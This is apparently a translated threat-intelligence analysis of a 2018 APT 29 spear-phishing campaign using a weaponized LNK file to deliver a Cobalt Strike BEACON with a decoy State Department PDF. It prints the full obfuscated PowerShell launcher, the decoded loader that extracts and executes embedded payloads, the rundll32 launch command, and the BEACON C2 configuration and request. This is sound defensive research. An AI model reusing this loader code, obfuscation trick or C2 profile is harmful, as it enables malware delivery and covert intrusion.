攻击者伪造出钓鱼邮件来伪装成美国国家公共事务部官员分享的一份官方文档。链接指向的是一个含有武器化的Windows快捷方式文件的zip文件,Windows快捷方式文件位于一个看似合法的域名jmj.com。快捷方式文件是用来执行PowerShell命令的,命令可以读取、解码和执行快捷方式文件以外的代码。
执行后,快捷方式文件会释放一个非恶意的公开的美国国务院表格和Cobalt Strike Beacon。Cobalt Strike是一款商业化的渗透测试工具框架。BEACON payload被配置为修改过的"Pandora" Malleable C2 Profile变种,而且使用了C2域名pandorasong[.]com作为Pandora音乐流服务的伪装。定制的C2 Profile可能是为了应对基于默认配置的网络检测方法。快捷方式元数据显示它与2016年11月的攻击活动中使用的快捷方式应该是系统或来自类似的系统。诱饵文件内容如图1所示:
图1: 诱饵文件内容
攻击活动有TTP并且攻击目标与之前的活动有交叉,因此研究人员推测是APT 29的攻击活动。最近的鱼叉式钓鱼攻击活动中的恶意LNK文件ds7002.lnk
与2016年11月APT 29在攻击中使用的LNK文件37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk
有交叉。2018年和2016年的LNK文件在结构和代码上都非常相似,元数据也有交叉,包括创建LNK文件的系统MAC地址。
其他相似点包括传播LNK文件的钓鱼活动的目标和技术。本次攻击活动与之前的APT 29攻击活动的收件人有一些是相同的。
邮件的发件人是DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm[.]org
,主题是Stevenson, Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with you
。邮件的传播在不同的受影响企业之间有明显的不同。大多数受害者收到3封左右的邮件,有的受害者收到136封之多。
每个钓鱼邮件都含有一个唯一的恶意URL,诱骗受害者点击。URL的模式如图2所示:
图2: 恶意URL结构
除了发件人邮箱地址的长度外,攻击者看似没有想要隐藏其邮件的真实地址。图3是钓鱼消息的编译过的邮件header截图。
图3: 钓鱼邮件header
恶意链接服务于文件ds7002.zip
的两个变种。第1个变种含有ds7002.lnk
;ds7002.lnk
是一个含有嵌入的BEACON DLL
和诱饵PDF的恶意LNK文件,是用来启动PowerShell命令的。执行后,PowerShell命令会提取和执行Cobalt Strike BEACON后门和诱饵PDF。ds7002.zip
的第2个变种只含有一个非恶意的文档,文档名为ds7002.pdf
,下载地址为hxxps://eforms.state.gov/Forms/ds7002.PDF
。
BEACON后门会与C2域名pandorasong[.]com
(95.216.59[.]92)进行通信。域名会使用隐私保护功能,起始授权结构start of authority (SOA)记录中含有[email protected]
。
分析显示攻击者在攻击前大约30天开始配置基础设施。这与其他攻击活动相比拖延了很多,表1是该活动的时间线。
表1: 时间线
恶意LNK ds7002.lnk
执行后,会执行PowerShell命令:
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
$zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5
rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJE
Vudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W
0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUp
O30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ
1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en
ZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC
gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL
kdldFN0cmluZygkb2UpO2lleCAkems7';$fz='FromBase'+0x40+'String';$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;
命令中使用了混淆处理,看似是为了绕过某个特定的检测逻辑。比如使用了'FromBase'+0x40+'String'
来替换 FromBase64String
,所以PowerShell需要base 64解码。
解码的命令中含有额外的PowerShell,PowerShell 可以读取offset 0x5e2be
到offset 0x623b6
处的ds7002.lnk
的内容,base64解码提取的内容,并且以其他的powershell内容执行。嵌入的powershell代码如下:
$ptgt=0x0005e2be;
$vcq=0x000623b6;
$tb="ds7002.lnk";
if (-not(Test-Path $tb))
{
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
{
exit
}
[IO.Directory]::SetCurrentDirectory($oe.DirectoryName);
}
$vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite';
$oe=New-Object byte[]($vcq-$ptgt);
$r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
$r=$vzvi.Read($oe,0,$vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]::ASCII.GetString($oe);
iex $zk;
研究人员将解码的PowerShell与2016年PowerShell嵌入的加载器代码有很多相似之处。但今年的攻击活动使用了随机的变量和函数名,并且混淆了脚本中的字符串。
图4: PowerShell与2016年嵌入的加载器代码有很多相似之处
PowerShell加载器代码也是混淆过的,下面是反混淆的一段代码。诱饵PDF和BEACON加载器DLL都是从LNK中特定的offset中读取的,然后解码并执行。BEACON加载器DLL是用PointFunctionCall
输出函数执行的:
[TRUNCATED]
$jzffhy = [IO.FileAccess]::READ
$gibisec = myayxvj $("ds7002.lnk")
$oufgke = 0x48bd8
$wabxu = 0x5e2be - $oufgke
$lblij = bygtqi $gibisec $oufgke $wabxu $("%TEMP%\ds7002.PDF") Invoke-Item
$((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35))
$oufgke = 0x0dd8
$wabxu = 0x48bd8 - $oufgke
$yhcgpw = bygtqi $gibisec $oufgke $wabxu $("%LOCALAPPDATA%\cyzfc.dat") if
($ENV:PROCESSOR_ARCHITECTURE -eq $("AMD64")) { & ($("rundll32.exe")) $(",")
$("PointFunctionCall") }
LNK文件从执行后,会释放以下文件到受害者系统中:
释放的BEACON loader DLL是RunDll32.exe
用输出函数PointFunctionCall
执行的:
"C:\Windows\system32\rundll32.exe"
C:\Users\Administrator\AppData\Local\cyzfc.dat, PointFunctionCall
BEACON payload含有以下配置信息:
authorization_id: 0x311168c
dns_sleep: 0
http_headers_c2_post_req:
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: pandorasong.com
http_headers_c2_request:
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong[.]com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
jitter: 17
named_pipes: \\\\%s\\pipe\\msagent_%x
process_inject_targets:
%windir%\\syswow64\\rundll32.exe
%windir%\\sysnative\\rundll32.exe
beacon_interval: 300
c2:
conntype: SSL
host: pandorasong[.]com
port: 443
c2_urls:
pandorasong[.]com/radio/xmlrpc/v45
pandorasong[.]com/access/
c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
恶意软件成功安装或初始化后,会通过TCP/443 SSL回调C2服务器pandorasong[.]com
。样本配置为使用malleable C2 profile进行网络通信。profile使用的公开的Pandora C2 profile的修改版。profile被修改为绕过特定的检测。样本GET请求如下:
GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep
Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd
Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldlbhnhjmbg
agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko
HTTP/1.1
Accept: */*
GetContentFeatures.DLNA.ORG: 1
Host: pandorasong.com
Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7;
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko
Connection: Keep-Alive
Cache-Control: no-cache
图5和图6表示本次攻击活动中使用的LNKds7002.lnk和2016年11月APT 29攻击活动中使用的LNK
37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk`的对比。
图5: LNK特征对比:2018新活动(左)vs 2016年攻击活动(右)
图6: LNK特征对比:2018新活动(左)vs 2016年攻击活动(右)
除了LNK特征相似外,PowerShell命令也非常相似。如图7和图8所示,2016年样本中的一些变量名也出现在2018年新攻击活动的样本中:
图7: 嵌入的PowerShell:2018新活动(左)vs 2016年攻击活动(右)
图8: 共享的字符串混淆逻辑:新LNK活动(左)vs 2016年VERNALDROP活动(右)